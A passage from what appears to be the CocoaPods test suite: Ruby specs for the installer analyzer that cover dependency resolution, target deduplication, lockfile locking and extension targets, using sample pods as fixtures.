platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' pod 'Firebase', '3.9.0' pod 'ARAnalytics', '4.0.0', :subspecs => %w(Firebase) end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 1 target = result.targets.first firebase_target = target.pod_targets.find { |pt| pt.pod_name == 'Firebase' } firebase_target.dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore ) firebase_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) firebase_target.dependent_targets.all?(&:scoped).should.be.true aranalytics_target = target.pod_targets.find { |pt| pt.pod_name == 'ARAnalytics' } aranalytics_target.dependent_targets.map(&:pod_name).sort.should == %w( Firebase ) aranalytics_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( Firebase FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) aranalytics_target.dependent_targets.all?(&:scoped).should.be.true end it 'does not mark transitive dependencies as dependent targets' do @podfile = Pod::Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' pod 'Firebase', '3.9.0' pod 'ARAnalytics', '4.0.0', :subspecs => %w(Firebase) end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 1 target = result.targets.first firebase_target = target.pod_targets.find { |pt| pt.pod_name == 'Firebase' } firebase_target.dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore ) firebase_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) firebase_target.dependent_targets.all?(&:scoped).should.be.true aranalytics_target = target.pod_targets.find { |pt| pt.pod_name == 'ARAnalytics' } aranalytics_target.dependent_targets.map(&:pod_name).sort.should == %w( Firebase ) aranalytics_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( Firebase FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) aranalytics_target.dependent_targets.all?(&:scoped).should.be.true end it 'does not mark transitive dependencies as dependent targets' do @podfile = Pod::Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' pod 'Firebase', '3.9.0' pod 'ARAnalytics', '4.0.0', :subspecs => %w(Firebase) end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 1 target = result.targets.first firebase_target = target.pod_targets.find { |pt| pt.pod_name == 'Firebase' } firebase_target.dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore ) firebase_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) firebase_target.dependent_targets.all?(&:scoped).should.be.true aranalytics_target = target.pod_targets.find { |pt| pt.pod_name == 'ARAnalytics' } aranalytics_target.dependent_targets.map(&:pod_name).sort.should == %w( Firebase ) aranalytics_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( Firebase FirebaseAnalytics FirebaseCore FirebaseInstanceID GoogleInterchangeUtilities GoogleSymbolUtilities GoogleToolboxForMac ) aranalytics_target.dependent_targets.all?(&:scoped).should.be.true end it 'correctly computes recursive dependent targets' do @podfile = Pod::Podfile.new do platform :ios, '10.0' project 'SampleProject/SampleProject' # The order of target definitions is important for this test. target 'SampleProject' do pod 'a', :testspecs => %w(Tests) pod 'b', :testspecs => %w(Tests) pod 'c', :testspecs => %w(Tests) pod 'd', :testspecs => %w(Tests) pod 'base' end end source = MockSource.new 'Source' do pod 'base' do test_spec do |ts| ts.dependency 'base_testing' end end pod 'a' do |s| s.dependency 'b' s.dependency 'base' test_spec do |ts| ts.dependency 'a_testing' end end pod 'b' do |s| s.dependency 'c' test_spec do |ts| end end pod 'c' do |s| s.dependency 'e' test_spec do |ts| ts.dependency 'a_testing' end end pod 'd' do |s| s.dependency 'a' test_spec do |ts| ts.dependency 'b' end end pod 'e' do |s| s.dependency 'base' test_spec do |ts| end end pod 'a_testing' do |s| s.dependency 'a' s.dependency 'base_testing' test_spec do |ts| ts.dependency 'base_testing' end end pod 'base_testing' do |s| s.dependency 'base' test_spec do |ts| end end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) @analyzer.stubs(:sources).returns([source]) result = @analyzer.analyze pod_target = result.pod_targets.find { |pt| pt.name == 'a' } test_spec = pod_target.test_specs.find { |ts| ts.name == "#{pod_target.pod_name}/Tests" } pod_target.dependent_targets.map(&:name).sort.should == %w(b base) pod_target.recursive_dependent_targets.map(&:name).sort.should == %w(b base c e) pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [['a/Tests', ['a_testing']]] pod_target.recursive_test_dependent_targets(test_spec).map(&:name).sort.should == %w(a a_testing b base base_testing c e) pod_target = result.pod_targets.find { |pt| pt.name == 'a_testing' } pod_target.dependent_targets.map(&:name).sort.should == %w(a base_testing) pod_target.recursive_dependent_targets.map(&:name).sort.should == %w(a b base base_testing c e) pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [] pod_target = result.pod_targets.find { |pt| pt.name == 'b' } test_spec = pod_target.test_specs.find { |ts| ts.name == "#{pod_target.pod_name}/Tests" } pod_target.dependent_targets.map(&:name).sort.should == ['c'] pod_target.recursive_dependent_targets.map(&:name).sort.should == %w(base c e) pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [['b/Tests', []]] pod_target.recursive_test_dependent_targets(test_spec).map(&:name).sort.should == [] pod_target = result.pod_targets.find { |pt| pt.name == 'base' } pod_target.dependent_targets.map(&:name).sort.should == [] pod_target.recursive_dependent_targets.map(&:name).sort.should == [] pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [] pod_target = result.pod_targets.find { |pt| pt.name == 'c' } test_spec = pod_target.test_specs.find { |ts| ts.name == "#{pod_target.pod_name}/Tests" } pod_target.dependent_targets.map(&:name).sort.should == ['e'] pod_target.recursive_dependent_targets.map(&:name).sort.should == %w(base e) pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [['c/Tests', ['a_testing']]] pod_target.recursive_test_dependent_targets(test_spec).map(&:name).sort.should == %w(a a_testing b base base_testing c e) pod_target = result.pod_targets.find { |pt| pt.name == 'd' } test_spec = pod_target.test_specs.find { |ts| ts.name == "#{pod_target.pod_name}/Tests" } pod_target.dependent_targets.map(&:name).sort.should == ['a'] pod_target.recursive_dependent_targets.map(&:name).sort.should == %w(a b base c e) pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [['d/Tests', ['b']]] pod_target.recursive_test_dependent_targets(test_spec).map(&:name).sort.should == %w(b base c e) pod_target = result.pod_targets.find { |pt| pt.name == 'e' } pod_target.dependent_targets.map(&:name).sort.should == ['base'] pod_target.recursive_dependent_targets.map(&:name).sort.should == ['base'] pod_target.test_dependent_targets_by_spec_name.map { |k, v| [k, v.map(&:name)] }.should == [] end it 'picks the right variants up when there are multiple' do @podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' project 'SampleProject/SampleProject' # The order of target definitions is important for this test. target 'TestRunner' do pod 'OrangeFramework' pod 'matryoshka/Foo' end target 'SampleProject' do pod 'OrangeFramework' end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 2 pod_target = result.targets[0].pod_targets.find { |pt| pt.pod_name == 'OrangeFramework' } pod_target.dependent_targets.count == 1 pod_target.dependent_targets.first.specs.map(&:name).should == %w( matryoshka matryoshka/Outer matryoshka/Outer/Inner ) end it 'does not create multiple variants across different targets that require different set of testspecs' do @podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' project 'SampleProject/SampleProject' target 'TestRunner' do pod 'CoconutLib', :testspecs => ['Tests'] end target 'SampleProject' do pod 'CoconutLib' end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 2 result.targets[0].pod_targets.count == 1 result.targets[0].pod_targets[0].name.should == 'CoconutLib' result.targets[1].pod_targets.count == 1 result.targets[1].pod_targets[0].name.should == 'CoconutLib' result.targets[0].pod_targets[0].should == result.targets[1].pod_targets[0] end end describe 'deduplication' do it 'deduplicate targets if possible' do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '6.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'BananaLib' pod 'monkey' target 'TestRunner' do pod 'BananaLib' pod 'monkey' end end target 'CLITool' do platform :osx, '10.10' pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze pod_targets = result.targets.flat_map(&:pod_targets).uniq Hash[pod_targets.map { |t| [t.label, t.target_definitions.map(&:label).sort] }.sort].should == { 'BananaLib' => %w(Pods-SampleProject Pods-SampleProject-TestRunner), 'monkey-iOS' => %w(Pods-SampleProject Pods-SampleProject-TestRunner), 'monkey-macOS' => %w(Pods-CLITool), } end it "doesn't deduplicate targets across different integration modes" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '6.0' xcodeproj 'SampleProject/SampleProject' target 'SampleProject' do use_frameworks! pod 'BananaLib' target 'TestRunner' do use_frameworks!(false) pod 'BananaLib' end end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze pod_targets = result.targets.flat_map(&:pod_targets).uniq.sort_by(&:name) Hash[pod_targets.map { |t| [t.label, t.target_definitions.map(&:label)] }].should == { 'BananaLib-library' => %w(Pods-SampleProject-TestRunner), 'BananaLib-framework' => %w(Pods-SampleProject), 'monkey-library' => %w(Pods-SampleProject-TestRunner), 'monkey-framework' => %w(Pods-SampleProject), } end it "doesn't deduplicate targets when deduplication is disabled" do podfile = Pod::Podfile.new do install! 'cocoapods', :deduplicate_targets => false source SpecHelper.test_repo_url platform :ios, '6.0' project 'SampleProject/SampleProject' pod 'BananaLib' target 'SampleProject' do target 'TestRunner' do pod 'BananaLib' end end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.flat_map { |at| at.pod_targets.map { |pt| "#{at.name}/#{pt.name}" } }.sort.should == %w( Pods-SampleProject-TestRunner/BananaLib-Pods-SampleProject-TestRunner Pods-SampleProject-TestRunner/monkey-Pods-SampleProject-TestRunner Pods-SampleProject/BananaLib-Pods-SampleProject Pods-SampleProject/monkey-Pods-SampleProject ).sort end it "doesn't deduplicate targets when deduplication is disabled and using frameworks" do podfile = Pod::Podfile.new do install! 'cocoapods', :deduplicate_targets => false source SpecHelper.test_repo_url platform :ios, '6.0' project 'SampleProject/SampleProject' use_frameworks! pod 'BananaLib' target 'SampleProject' do target 'TestRunner' do pod 'BananaLib' end end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.flat_map { |at| at.pod_targets.map { |pt| "#{at.name}/#{pt.name}" } }.sort.should == %w( Pods-SampleProject-TestRunner/BananaLib-Pods-SampleProject-TestRunner Pods-SampleProject-TestRunner/monkey-Pods-SampleProject-TestRunner Pods-SampleProject/BananaLib-Pods-SampleProject Pods-SampleProject/monkey-Pods-SampleProject ).sort result.targets.flat_map { |at| at.pod_targets.map(&:requires_frameworks?) }.uniq.should == [true] end end it 'generates the integration library appropriately if the installation will not integrate' do @analyzer.installation_options.integrate_targets = false target = @analyzer.analyze.targets.first target.client_root.should == config.installation_root target.user_target_uuids.should == [] target.user_build_configurations.should == { 'Release' => :release, 'Debug' => :debug } target.platform.to_s.should == 'iOS 6.0' end describe 'no-integrate platform validation' do before do repos = [Source.new(fixture('spec-repos/test_repo'))] aggregate = Pod::Source::Aggregate.new(repos) config.sources_manager.stubs(:aggregate).returns(aggregate) aggregate.sources.first.stubs(:url).returns(SpecHelper.test_repo_url) end it 'does not require a platform for an empty target' do podfile = Pod::Podfile.new do install! 'cocoapods', :integrate_targets => false source SpecHelper.test_repo_url project 'SampleProject/SampleProject' target 'TestRunner' do platform :osx pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) lambda { analyzer.analyze }.should.not.raise end it 'does not raise if a target with dependencies inherits the platform from its parent' do podfile = Pod::Podfile.new do install! 'cocoapods', :integrate_targets => false source SpecHelper.test_repo_url project 'SampleProject/SampleProject' platform :osx target 'TestRunner' do pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) lambda { analyzer.analyze }.should.not.raise end it 'raises if a target with dependencies does not have a platform' do podfile = Pod::Podfile.new do install! 'cocoapods', :integrate_targets => false source SpecHelper.test_repo_url project 'SampleProject/SampleProject' target 'TestRunner' do pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) lambda { analyzer.analyze }.should.raise Informative end end it 'returns all the configurations the user has in any of its projects and/or targets' do target_definition = @analyzer.podfile.target_definition_list.first target_definition.stubs(:build_configurations).returns('AdHoc' => :test) @analyzer.analyze.all_user_build_configurations.should == { 'Debug' => :debug, 'Release' => :release, 'AdHoc' => :test, 'Test' => :release, 'App Store' => :release, } end #--------------------------------------# it 'locks the version of the dependencies which did not change in the Podfile' do podfile_state = @analyzer.send(:generate_podfile_state) @analyzer.send(:generate_version_locking_dependencies, podfile_state).map(&:payload).map(&:to_s).should == ['JSONKit (= 1.5pre)', 'SVPullToRefresh (= 0.4)'] end it 'does not lock the dependencies in update mode' do @analyzer.stubs(:pods_to_update).returns(true) podfile_state = @analyzer.send(:generate_podfile_state) @analyzer.send(:generate_version_locking_dependencies, podfile_state).to_a.map(&:payload).should == [] end it 'unlocks dependencies in a case-insensitive manner' do @analyzer.stubs(:pods_to_update).returns(:pods => %w(JSONKit)) podfile_state = @analyzer.send(:generate_podfile_state) @analyzer.send(:generate_version_locking_dependencies, podfile_state).map(&:payload).map(&:to_s).should == ['SVPullToRefresh (= 0.4)'] end it 'unlocks dependencies when the local spec does not exist' do @analyzer.stubs(:pods_to_update).returns(:pods => %w(JSONKit)) @analyzer.stubs(:podfile_dependencies).returns [Dependency.new('foo', :path => 'Foo.podspec')] config.sandbox.stubs(:specification).returns(nil) podfile_state = @analyzer.send(:generate_podfile_state) @analyzer.send(:generate_version_locking_dependencies, podfile_state).map(&:payload).map(&:to_s).should == ['SVPullToRefresh (= 0.4)'] end it 'unlocks all dependencies with the same root name in update mode' do podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'AFNetworking' pod 'AFNetworkActivityLogger' end end hash = {} hash['PODS'] = [ { 'AFNetworkActivityLogger (2.0.3)' => ['AFNetworking/NSURLConnection (~> 2.0)', 'AFNetworking/NSURLSession (~> 2.0)'] }, { 'AFNetworking (2.4.0)' => ['AFNetworking/NSURLConnection (= 2.4.0)', 'AFNetworking/NSURLSession (= 2.4.0)', 'AFNetworking/Reachability (= 2.4.0)', 'AFNetworking/Security (= 2.4.0)', 'AFNetworking/Serialization (= 2.4.0)', 'AFNetworking/UIKit (= 2.4.0)'] }, { 'AFNetworking/NSURLConnection (2.4.0)' => ['AFNetworking/Reachability', 'AFNetworking/Security', 'AFNetworking/Serialization'] }, { 'AFNetworking/NSURLSession (2.4.0)' => ['AFNetworking/Reachability', 'AFNetworking/Security', 'AFNetworking/Serialization'] }, 'AFNetworking/Reachability (2.4.0)', 'AFNetworking/Security (2.4.0)', 'AFNetworking/Serialization (2.4.0)', { 'AFNetworking/UIKit (2.4.0)' => ['AFNetworking/NSURLConnection', 'AFNetworking/NSURLSession'] }, ] hash['DEPENDENCIES'] = ['AFNetworkActivityLogger', 'AFNetworking (2.4.0)'] hash['SPEC CHECKSUMS'] = {} hash['COCOAPODS'] = Pod::VERSION lockfile = Pod::Lockfile.new(hash) analyzer = Installer::Analyzer.new(config.sandbox, podfile, lockfile, nil, true, :pods => %w(AFNetworking)) analyzer.analyze.specifications. find { |s| s.name == 'AFNetworking' }. version.to_s.should == '2.6.3' end it 'unlocks only local pod when specification checksum changes' do sandbox = config.sandbox local_spec = Specification.from_hash('name' => 'LocalPod', 'version' => '1.1', 'dependencies' => { 'Expecta' => ['~> 0.0'] }) sandbox.stubs(:specification).with('LocalPod').returns(local_spec) podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'LocalPod', :path => '../' end end hash = {} hash['PODS'] = ['Expecta (0.2.0)', { 'LocalPod (1.0)' => ['Expecta (~> 0.0)'] }] hash['DEPENDENCIES'] = ['LocalPod (from `../`)'] hash['EXTERNAL SOURCES'] = { 'LocalPod' => { :path => '../' } } hash['SPEC CHECKSUMS'] = { 'LocalPod' => 'DUMMY_CHECKSUM' } hash['COCOAPODS'] = Pod::VERSION lockfile = Pod::Lockfile.new(hash) analyzer = Installer::Analyzer.new(sandbox, podfile, lockfile) analyzer.analyze(false).specifications. find { |s| s.name == 'LocalPod' }. version.to_s.should == '1.1' analyzer.analyze(false).specifications. find { |s| s.name == 'Expecta' }. version.to_s.should == '0.2.0' end it 'raises if change in local pod specification conflicts with lockfile' do sandbox = config.sandbox local_spec = Specification.from_hash('name' => 'LocalPod', 'version' => '1.0', 'dependencies' => { 'Expecta' => ['0.2.2'] }) sandbox.stubs(:specification).with('LocalPod').returns(local_spec) podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'LocalPod', :path => '../' end end hash = {} hash['PODS'] = ['Expecta (0.2.0)', { 'LocalPod (1.0)' => ['Expecta (=0.2.0)'] }] hash['DEPENDENCIES'] = ['LocalPod (from `../`)'] hash['EXTERNAL SOURCES'] = { 'LocalPod' => { :path => '../' } } hash['SPEC CHECKSUMS'] = {} hash['COCOAPODS'] = Pod::VERSION lockfile = Pod::Lockfile.new(hash) analyzer = Installer::Analyzer.new(sandbox, podfile, lockfile) should.raise(Informative) do analyzer.analyze(false) end.message.should.match /You should run `pod update Expecta`/ end it 'raises if dependencies need to be fetched but fetching is not allowed' do sandbox = config.sandbox podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'ExternalSourcePod', :podspec => 'ExternalSourcePod.podspec' end end hash = {} hash['PODS'] = ['Expecta (0.2.0)', { 'ExternalSourcePod (1.0)' => ['Expecta (=0.2.0)'] }] hash['DEPENDENCIES'] = ['ExternalSourcePod (from `ExternalSourcePod.podspec`)'] hash['EXTERNAL SOURCES'] = { 'ExternalSourcePod' => { :podspec => 'ExternalSourcePod.podspec' } } hash['SPEC CHECKSUMS'] = { 'ExternalSourcePod' => 'DUMMY_CHECKSUM' } hash['COCOAPODS'] = Pod::VERSION lockfile = Lockfile.new(hash) analyzer = Installer::Analyzer.new(sandbox, podfile, lockfile) error = should.raise(Informative) do analyzer.analyze(false) end error.message.should.include \ 'Cannot analyze without fetching dependencies since the sandbox is not up-to-date. Run `pod install` to ensure all dependencies have been fetched.' end #--------------------------------------# it 'takes into account locked implicit dependencies' do podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'ARAnalytics/Mixpanel' end end hash = {} hash['PODS'] = ['ARAnalytics/CoreIOS (2.8.0)', { 'ARAnalytics/Mixpanel (2.8.0)' => ['ARAnlytics/CoreIOS', 'Mixpanel'] }, 'Mixpanel (2.5.1)'] hash['DEPENDENCIES'] = %w(ARAnalytics/Mixpanel) hash['SPEC CHECKSUMS'] = {} hash['COCOAPODS'] = Pod::VERSION lockfile = Pod::Lockfile.new(hash) analyzer = Installer::Analyzer.new(config.sandbox, podfile, lockfile) analyzer.analyze.specifications. find { |s| s.name == 'Mixpanel' }. version.to_s.should == '2.5.1' end it 'takes into account locked dependency spec repos' do podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' source 'https://example.com/example/specs.git' source 'https://github.com/cocoapods/specs.git' target 'SampleProject' do pod 'JSONKit', '1.5pre' end end hash = {} hash['PODS'] = ['JSONKit (1.5pre)'] hash['DEPENDENCIES'] = %w(JSONKit) hash['SPEC CHECKSUMS'] = {} hash['SPEC REPOS'] = { 'https://github.com/cocoapods/specs.git' => ['JSONKit'], } hash['COCOAPODS'] = Pod::VERSION lockfile = Pod::Lockfile.new(hash) analyzer = Installer::Analyzer.new(config.sandbox, podfile, lockfile) example_source = MockSource.new 'example-example-specs' do pod 'JSONKit', '1.5pre' do |s| s.dependency 'Nope', '1.0' end pod 'Nope', '1.0' do |s| s.ios.deployment_target = '8' end end master_source = config.sources_manager.master.first analyzer.stubs(:sources).returns([example_source, master_source]) # if we prefered the first source (the default), we also would have resolved Nope analyzer.analyze.specs_by_source. should == { example_source => [], master_source => [Pod::Spec.new(nil, 'JSONKit') { |s| s.version = '1.5pre' }], } end #--------------------------------------# it 'fetches the dependencies with external sources' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.added << 'BananaLib' @podfile = Podfile.new do pod 'BananaLib', :git => 'example.com' end @analyzer = Installer::Analyzer.new(@sandbox, @podfile) ExternalSources::DownloaderSource.any_instance.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'does not download the same source multiple times for different subspecs' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.added << 'ARAnalytics' @podfile = Podfile.new do pod 'ARAnalytics/Mixpanel', :git => 'https://github.com/orta/ARAnalytics', :commit => '6f1a1c314894437e7e5c09572c276e644dbfb64b' pod 'ARAnalytics/HockeyApp', :git => 'https://github.com/orta/ARAnalytics', :commit => '6f1a1c314894437e7e5c09572c276e644dbfb64b' end @analyzer = Installer::Analyzer.new(@sandbox, @podfile) ExternalSources::DownloaderSource.any_instance.expects(:fetch).once @analyzer.send(:fetch_external_sources, podfile_state) end #--------------------------------------# it 'resolves the dependencies' do @analyzer.analyze.specifications.map(&:to_s).should == [ 'AFNetworking (1.0.1)', 'JSONKit (1.5pre)', 'SVPullToRefresh (0.4)', 'libextobjc/EXTKeyPathCoding (0.2.3)', 'libextobjc/EXTSynthesize (0.2.3)', ] end it 'adds the specifications to the correspondent libraries' do @analyzer.analyze.targets[0].pod_targets.map(&:specs).flatten.map(&:to_s).should == [ 'AFNetworking (1.0.1)', 'JSONKit (1.5pre)', 'SVPullToRefresh (0.4)', 'libextobjc/EXTKeyPathCoding (0.2.3)', ] @analyzer.analyze.targets[1].pod_targets.map(&:specs).flatten.map(&:to_s).should == [ 'libextobjc/EXTKeyPathCoding (0.2.3)', 'libextobjc/EXTSynthesize (0.2.3)', ] end #--------------------------------------# it 'warns when a dependency is duplicated' do podfile = Podfile.new do source 'https://github.com/CocoaPods/Specs.git' project 'SampleProject/SampleProject' platform :ios, '8.0' target 'SampleProject' do pod 'RestKit', '~> 0.23.0' pod 'RestKit', '<= 0.23.2' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) analyzer.analyze UI.warnings.should.match /duplicate dependencies on `RestKit`/ UI.warnings.should.match /RestKit \(~> 0.23.0\)/ UI.warnings.should.match /RestKit \(<= 0.23.2\)/ end it 'raises when specs have incompatible cocoapods requirements' do analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) Specification.any_instance.stubs(:cocoapods_version).returns(Requirement.create '= 0.1.0') should.raise(Informative) { analyzer.analyze } end #--------------------------------------# it 'computes the state of the Sandbox respect to the resolved dependencies' do @analyzer.stubs(:lockfile).returns(nil) state = @analyzer.analyze.sandbox_state state.added.sort.should == %w(AFNetworking JSONKit SVPullToRefresh libextobjc) end #-------------------------------------------------------------------------# describe '#filter_pod_targets_for_target_definition' do it 'does include pod target if any spec is not used by tests only and is part of target definition' do spec1 = Resolver::ResolverSpecification.new(stub, false, nil) spec2 = Resolver::ResolverSpecification.new(stub, true, nil) target_definition = @podfile.target_definitions['SampleProject'] pod_target = stub(:name => 'Pod1', :target_definitions => [target_definition], :specs => [spec1.spec, spec2.spec], :pod_name => 'Pod1') resolver_specs_by_target = { target_definition => [spec1, spec2] } @analyzer.send(:filter_pod_targets_for_target_definition, target_definition, [pod_target], resolver_specs_by_target, %w(Release)).should == { 'Release' => [pod_target] } end it 'does not include pod target if its used by tests only' do spec1 = Resolver::ResolverSpecification.new(stub, true, nil) spec2 = Resolver::ResolverSpecification.new(stub, true, nil) target_definition = stub('TargetDefinition') pod_target = stub(:name => 'Pod1', :target_definitions => [target_definition], :specs => [spec1.spec, spec2.spec]) resolver_specs_by_target = { target_definition => [spec1, spec2] } @analyzer.send(:filter_pod_targets_for_target_definition, target_definition, [pod_target], resolver_specs_by_target, %w(Release)).should == { 'Release' => [] } end it 'does not include pod target if its not part of the target definition' do spec = Resolver::ResolverSpecification.new(stub, false, nil) target_definition = stub pod_target = stub(:name => 'Pod1', :target_definitions => [], :specs => [spec.spec]) resolver_specs_by_target = { target_definition => [spec] } @analyzer.send(:filter_pod_targets_for_target_definition, target_definition, [pod_target], resolver_specs_by_target, %w(Release)).should == { 'Release' => [] } end it 'returns whether it is whitelisted in a build configuration' do target_definition = @podfile.target_definitions['SampleProject'] target_definition.whitelist_pod_for_configuration('JSONKit', 'Debug') aggregate_target = @analyzer.analyze.targets.find { |t| t.target_definition == target_definition } aggregate_target.pod_targets_for_build_configuration('Debug').map(&:name). should.include 'JSONKit' aggregate_target.pod_targets_for_build_configuration('Release').map(&:name). should.not.include 'JSONKit' end it 'allows a pod that is a dependency for other pods to be whitelisted' do @podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'AFNetworking', :configuration => 'Debug' pod 'AFNetworkActivityLogger' end end @analyzer = Installer::Analyzer.new(config.sandbox, @podfile) target_definition = @podfile.target_definitions['SampleProject'] aggregate_target = @analyzer.analyze.targets.find { |t| t.target_definition == target_definition } aggregate_target.pod_targets_for_build_configuration('Debug').map(&:name). should.include 'AFNetworking' aggregate_target.pod_targets_for_build_configuration('Release').map(&:name). should.not.include 'AFNetworking' end it 'raises if a Pod is whitelisted for different build configurations' do @podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'AFNetworking' pod 'AFNetworking/NSURLConnection', :configuration => 'Debug' pod 'AFNetworkActivityLogger' end end @analyzer = Installer::Analyzer.new(config.sandbox, @podfile) should.raise(Informative) do @analyzer.analyze end.message.should.include 'The subspecs of `AFNetworking` are linked to different build configurations for the `Pods-SampleProject` target. CocoaPods does not currently support subspecs across different build configurations.' end end #-------------------------------------------------------------------------# describe 'extension targets' do before do SpecHelper.create_sample_app_copy_from_fixture('Sample Extensions Project') @podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '6.0' project 'Sample Extensions Project/Sample Extensions Project' pod 'matryoshka/Bar' target 'Sample Extensions Project' do pod 'JSONKit', '1.4' pod 'matryoshka/Foo' end target 'Today Extension' do pod 'monkey' end end end it 'copies extension pod targets to host target, when use_frameworks!' do @podfile.use_frameworks! analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile) result = analyzer.analyze result.targets.flat_map { |at| at.pod_targets.map { |pt| "#{at.name}/#{pt.name}" } }.sort.should == [ 'Pods-Sample Extensions Project/JSONKit', 'Pods-Sample Extensions Project/matryoshka-Bar-Foo', 'Pods-Sample Extensions Project/monkey', 'Pods-Today Extension/matryoshka-Bar', 'Pods-Today Extension/monkey', ].sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Debug').map { |pt| "#{at.name}/Debug/#{pt.name}" } }.sort.should == [ 'Pods-Sample Extensions Project/Debug/JSONKit', 'Pods-Sample Extensions Project/Debug/matryoshka-Bar-Foo', 'Pods-Sample Extensions Project/Debug/monkey', 'Pods-Today Extension/Debug/matryoshka-Bar', 'Pods-Today Extension/Debug/monkey', ].sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Release').map { |pt| "#{at.name}/Release/#{pt.name}" } }.sort.should == [ 'Pods-Sample Extensions Project/Release/JSONKit', 'Pods-Sample Extensions Project/Release/matryoshka-Bar-Foo', 'Pods-Sample Extensions Project/Release/monkey', 'Pods-Today Extension/Release/matryoshka-Bar', 'Pods-Today Extension/Release/monkey', ].sort end it 'does not copy extension pod targets to host target, when not use_frameworks!' do analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile) result = analyzer.analyze result.targets.flat_map { |at| at.pod_targets.map { |pt| "#{at.name}/#{pt.name}" } }.sort.should == [ 'Pods-Sample Extensions Project/JSONKit', 'Pods-Sample Extensions Project/matryoshka-Bar-Foo', 'Pods-Today Extension/matryoshka-Bar', 'Pods-Today Extension/monkey', ].sort end it "copy a framework's pod target, when the framework is in a sub project" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url use_frameworks! platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'JSONKit' end target 'SampleFramework' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.select { |at| at.name == 'Pods-SampleProject' }.flat_map(&:pod_targets).map(&:name).sort.uniq.should == %w( JSONKit monkey ).sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Debug').map { |pt| "#{at.name}/Debug/#{pt.name}" } }.sort.should == [ 'Pods-SampleFramework/Debug/monkey', 'Pods-SampleProject/Debug/JSONKit', 'Pods-SampleProject/Debug/monkey', ].sort 